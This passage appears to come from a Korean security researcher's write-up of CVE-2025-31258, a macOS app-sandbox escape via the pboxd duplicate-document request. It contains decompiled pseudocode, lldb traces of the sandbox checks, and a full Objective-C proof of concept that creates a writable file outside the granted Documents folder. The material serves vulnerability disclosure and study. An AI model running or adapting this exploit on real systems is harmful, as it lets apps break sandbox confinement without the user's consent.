        {
          objc_release(v11);
          goto LABEL_11;
        }
        v14 = (char *)v14 + 1;
      }
      while ( v12 != v14 );
      v12 = objc_msgSend(v11, "countByEnumeratingWithState:objects:count:", &v16, v21, 16);
      if ( v12 )
        continue;
      break;
    }
  }
  objc_release(v11);
  *a4 = 0;
  v15 = objc_retainAutorelease(v8);
  *a3 = v8;
LABEL_11:
  objc_release(v8);
}

방금 언급한 메소드는 이제 참이 되어 v35값은 1로 지정된다.

그리고 (unsigned int)sandbox_check_by_audit_token(v50, “file-write-data”, v31)에서 1을 반환하는데, /Users/seo/Documents copy 1337 파일을 쓸 수 있는지 확인한다. 샌드박스에 의해 막히기 때문에 1을 반환한다.

그러면 goto LABEL_19;으로 이동하지 않고 한번 더 검사하는데,

(unsigned int)sandbox_check_by_audit_token(v49, “file-read-data”, v29) 호출을 통해 /Users/seo/Documents 내의 파일을 읽을 수 있는지 확인한다.

그렇다… 사실은 /Users/seo/Documents 에 읽기 권한을 주어야만 샌드박스 탈출이 가능한것이다. 나름 제한적이라고 볼 수 있다.

v35 = (unsigned __int8)+[NSDocument _validateDuplicateDocumentName:withOriginalName:](
                               &OBJC_CLASS___NSDocument,
                               "_validateDuplicateDocumentName:withOriginalName:",
                               v34);
      objc_release(v33);
      objc_release(v34);
      if ( (v35 & 1) != 0 )
      {
        v52 = objc_retainAutoreleasedReturnValue(objc_msgSend(v60, "stringByAppendingPathComponent:", v56));
        v51 = objc_retainAutoreleasedReturnValue(objc_msgSend(v59, "stringByAppendingPathComponent:", v55));
        p_pid = &v65->_pid;
        v31 = SANDBOX_CHECK_NO_REPORT | 1 | SANDBOX_CHECK_CANONICAL;
        v8 = objc_retainAutorelease(v52);
        v9 = objc_msgSend(v52, "UTF8String");
        v50[0] = *(_OWORD *)p_pid;
        v50[1] = *((_OWORD *)p_pid + 1);
        v20 = v9;
        if ( !(unsigned int)sandbox_check_by_audit_token(v50, "file-write-data", v31) )
          goto LABEL_19;
        v28 = &v65->_pid;
        v29 = SANDBOX_CHECK_NO_REPORT | 1 | SANDBOX_CHECK_CANONICAL;
        v27 = v52;
        v10 = objc_retainAutorelease(v52);
        v11 = objc_msgSend(v27, "UTF8String", v20);
        v49[0] = *(_OWORD *)v28;
        v49[1] = *((_OWORD *)v28 + 1);
        v20 = v11;
        if ( (unsigned int)sandbox_check_by_audit_token(v49, "file-read-data", v29) )
        {
          v26 = objc_retainAutoreleasedReturnValue(
                  +[NSError errorWithDomain:code:userInfo:](
                    &OBJC_CLASS___NSError,
                    "errorWithDomain:code:userInfo:",
                    NSPOSIXErrorDomain,
                    1,
                    0,
                    v20));
          v12 = objc_autorelease(v26);
          *v62 = v26;
          v66 = 0;
          v57 = 1;
        }
        else
        {
LABEL_19:
          v24 = objc_retainAutoreleasedReturnValue(+[NSFileManager defaultManager](&OBJC_CLASS___NSFileManager, "defaultManager", v20));
          v25 = -[NSFileManager fileExistsAtPath:](v24, "fileExistsAtPath:", v51);
          objc_release(v24);
          if ( (v25 & 1) != 0 )
          {
            v23 = objc_retainAutoreleasedReturnValue(
                    +[NSError errorWithDomain:code:userInfo:](
                      &OBJC_CLASS___NSError,
                      "errorWithDomain:code:userInfo:",
                      NSPOSIXErrorDomain,
                      17,
                      0));
            v13 = objc_autorelease(v23);
            *v62 = v23;
            v66 = 0;
            v57 = 1;
          }
          else
          {
            v22 = v51;
            v14 = objc_retainAutorelease(v51);
            objc_msgSend(v22, "UTF8String");
            v48 = (void *)sandbox_extension_issue_file();
            if ( v48 )
            {
              v16 = objc_retainAutoreleasedReturnValue(+[NSString stringWithUTF8String:](&OBJC_CLASS___NSString, "stringWithUTF8String:", v48));
              v17 = v61;
              v61 = v16;
              objc_release(v17);
              free(v48);
              v66 = objc_retain(v61);
            }
            else
            {
              v21 = objc_retainAutoreleasedReturnValue(
                      +[NSError errorWithDomain:code:userInfo:](
                        &OBJC_CLASS___NSError,
                        "errorWithDomain:code:userInfo:",
                        NSPOSIXErrorDomain,
                        *__error(),
                        0));
              v15 = objc_autorelease(v21);
              *v62 = v21;
              v66 = 0;
            }
            v57 = 1;
          }
        }
        objc_storeStrong(&v51, 0);
        objc_storeStrong(&v52, 0);
      }
// (unsigned int)sandbox_check_by_audit_token(v50, "file-write-data", v31) 에서 브레이크됨
(lldb) c
Process 958 resuming
Process 958 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 18.1
    frame #0: 0x0000000100743c80 com.apple.security.pboxd`___lldb_unnamed_symbol509 + 1348
com.apple.security.pboxd`___lldb_unnamed_symbol509:
->  0x100743c80 <+1348>: bl     0x10074c570    ; symbol stub for: sandbox_check_by_audit_token
    0x100743c84 <+1352>: cbz    w0, 0x100743d6c ; <+1584>
    0x100743c88 <+1356>: b      0x100743c8c    ; <+1360>
    0x100743c8c <+1360>: ldur   x8, [x29, #-0x20]
Target 0: (com.apple.security.pboxd) stopped.
(lldb) po $x0
6164372752

(lldb) po $x1
4302654342

(lldb) po $x2
1610612737

(lldb) po $x3
47513354648

(lldb) po $x4
21

(lldb) po $x5
1

(lldb) po $x6
/Users/seo/Documents copy 1337

(lldb) reg read x0
      x0 = 0x000000016f6cdd10
(lldb) reg read x0 x1 x2 x3 x4 x5 x6
      x0 = 0x000000016f6cdd10
      x1 = 0x0000000100754b86  "file-write-data"
      x2 = 0x0000000060000001
      x3 = 0x0000000b10044198
      x4 = 0x0000000000000015
      x5 = 0x0000000000000001
      x6 = 0x0000000b101a9270
      
// (unsigned int)sandbox_check_by_audit_token(v49, "file-read-data", v29) 에서 브레이크됨
(lldb) c
Process 958 resuming
Process 958 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 20.1
    frame #0: 0x0000000100743d10 com.apple.security.pboxd`___lldb_unnamed_symbol509 + 1492
com.apple.security.pboxd`___lldb_unnamed_symbol509:
->  0x100743d10 <+1492>: bl     0x10074c570    ; symbol stub for: sandbox_check_by_audit_token
    0x100743d14 <+1496>: cbz    w0, 0x100743d6c ; <+1584>
    0x100743d18 <+1500>: b      0x100743d1c    ; <+1504>
    0x100743d1c <+1504>: ldur   x1, [x29, #-0xf0]
Target 0: (com.apple.security.pboxd) stopped.
(lldb) po $x0
6164372720

(lldb) po $x6
<2f557365 72732f73 656f2f44 6f63756d 656e7473 00>

만약 /Users/seo/Documents에 읽기 권한이 주어진다면… (unsigned int)sandbox_check_by_audit_token(v49, “file-read-data”, v29)에서 0을 반환해준다.

그러면 else 문으로 이동할 수 있다.

-[NSFileManager fileExistsAtPath:] 메소드를 통해 /Users/seo/Documents copy 1337 파일이 존재하는지 확인하는데, 존재하면 안된다.

이후로는 _APP_SANDBOX_READ_WRITE 매개변수와 함꼐 sandbox_extension_issue_file 호출되어 /Users/seo/Documents copy 1337 파일을 읽기/쓰기 할 수 있는 권한을 가지게 된다.

즉 /Users/seo/Documents에 읽기 권한만 주어졌지만, Documents 폴더를 벗어난 /User/seo에 새로운 파일인 Documents copy 1337 파일 또는 폴더를 생성시킬 수 있게된 셈이다.

       else
        {
LABEL_19:
          v24 = objc_retainAutoreleasedReturnValue(+[NSFileManager defaultManager](&OBJC_CLASS___NSFileManager, "defaultManager", v20));
          v25 = -[NSFileManager fileExistsAtPath:](v24, "fileExistsAtPath:", v51);
          objc_release(v24);
          if ( (v25 & 1) != 0 )
          {
            v23 = objc_retainAutoreleasedReturnValue(
                    +[NSError errorWithDomain:code:userInfo:](
                      &OBJC_CLASS___NSError,
                      "errorWithDomain:code:userInfo:",
                      NSPOSIXErrorDomain,
                      17,
                      0));
            v13 = objc_autorelease(v23);
            *v62 = v23;
            v66 = 0;
            v57 = 1;
          }
          else
          {
            v22 = v51;
            v14 = objc_retainAutorelease(v51);
            objc_msgSend(v22, "UTF8String");
            v48 = (void *)sandbox_extension_issue_file();
            if ( v48 )
            {
              v16 = objc_retainAutoreleasedReturnValue(+[NSString stringWithUTF8String:](&OBJC_CLASS___NSString, "stringWithUTF8String:", v48));
              v17 = v61;
              v61 = v16;
              objc_release(v17);
              free(v48);
              v66 = objc_retain(v61);
            }
            else
            {
              v21 = objc_retainAutoreleasedReturnValue(
                      +[NSError errorWithDomain:code:userInfo:](
                        &OBJC_CLASS___NSError,
                        "errorWithDomain:code:userInfo:",
                        NSPOSIXErrorDomain,
                        *__error(),
                        0));
              v15 = objc_autorelease(v21);
              *v62 = v21;
              v66 = 0;
            }
            v57 = 1;
          }
        }
        objc_storeStrong(&v51, 0);
        objc_storeStrong(&v52, 0);
(lldb) c
Process 958 resuming
Process 958 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 22.1
    frame #0: 0x0000000100743d90 com.apple.security.pboxd`___lldb_unnamed_symbol509 + 1620
com.apple.security.pboxd`___lldb_unnamed_symbol509:
->  0x100743d90 <+1620>: bl     0x10074dc00
    0x100743d94 <+1624>: mov    x8, x0
    0x100743d98 <+1628>: ldr    x0, [sp, #0x58]
    0x100743d9c <+1632>: str    w8, [sp, #0x64]
Target 0: (com.apple.security.pboxd) stopped.
(lldb) po $x0
<NSFileManager: 0x100bc2900>

(lldb) po $x1
<nil>

(lldb) po $x2
/Users/seo/Documents copy 1337

PoC code

//
//  ViewController.m
//  CVE-2025-31258
//
//  Created by seo on 5/13/25.
//

#import "ViewController.h"
#import <dlfcn.h>
#import <sandbox.h>
#import <xpc/xpc.h>

@interface NSDocument (Private)
+ (BOOL)_validateDuplicateDocumentName:(NSString *)dupName
                      withOriginalName:(NSString *)origName;
@end

int writeFileAtPath(const char *path, const char *content) {
    int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
    if (fd == -1) {
        perror("open");
        return 1;
    }

    ssize_t bytes_written = write(fd, content, strlen(content));
    if (bytes_written == -1) {
        perror("write");
        close(fd);
        return 1;
    }

    if (close(fd) == -1) {
        perror("close");
        return 1;
    }

    return 0;
}

int64_t PBOXDuplicateRequest(NSURL *a1, NSURL *a2, NSError *a3) {
    void *rvs = dlopen("/System/Library/PrivateFrameworks/"
                           "RemoteViewServices.framework/RemoteViewServices",
                           RTLD_NOW);
    void *func_ptr = dlsym(rvs, "PBOXDuplicateRequest");

    typedef int (*custom_func_t)(NSURL *, NSURL *, NSError *);
    custom_func_t func = (custom_func_t)func_ptr;

    return func(a1, a2, a3);
}

int poc(void) {
    NSString *documentsPath = [NSString stringWithFormat:@"/Users/%@/Documents", NSUserName()];
    //_validateDuplicateDocumentName:withOriginalName: arg2
    NSURL *documentsURL = [NSURL fileURLWithPath:documentsPath];

    NSString *copiedPath =
    [NSString stringWithFormat:@"/Users/%@/Documents copy 1337", NSUserName()]; //_validateDuplicateDocumentName:withOriginalName: arg1
    NSURL *copiedURL = [NSURL fileURLWithPath:copiedPath];
    
    NSError *_error = nil;

    int64_t result = PBOXDuplicateRequest(documentsURL, copiedURL, _error);
    NSLog(@"PBOXDuplicateRequest _error: %@\\n", _error);
    printf("PBOXDuplicateRequest result: %lld\\n", result);

    return 0;
}

void grant_read_permission_to_documents(void) {
    NSString *documentsPath = [NSString stringWithFormat:@"/Users/%@/Documents", NSUserName()];
    
    NSOpenPanel *panel = [NSOpenPanel openPanel];
    [panel setCanChooseDirectories:YES];
    [panel setCanChooseFiles:NO];
    [panel setAllowsMultipleSelection:NO];
    [panel setPrompt:@"Please select Document folder to grant read for POC."];
    [panel setDirectoryURL:[NSURL fileURLWithPath:documentsPath]];
    
    
    if ([panel runModal] == NSModalResponseOK) {
        NSURL *selectedFolderURL = [panel URL];
        NSLog(@"Selected Folder: %@", selectedFolderURL.path);
        if(![documentsPath isEqualToString:selectedFolderURL.path]) {
            NSLog(@"It's not document folder, exiting....");
            exit(1);
        }
    }
}

@implementation ViewController
- (IBAction)do_poc:(NSButton *)sender {
    
    
    grant_read_permission_to_documents();
    
    poc();
    
    NSString *copiedPath = [NSString stringWithFormat:@"/Users/%@/Documents copy 1337", NSUserName()];
    writeFileAtPath(copiedPath.UTF8String, "Escaped Sandbox!");
}

- (void)viewDidLoad {
    [super viewDidLoad];
}

- (void)setRepresentedObject:(id)representedObject {
    [super setRepresentedObject:representedObject];
    
}

@end

Demo

태그: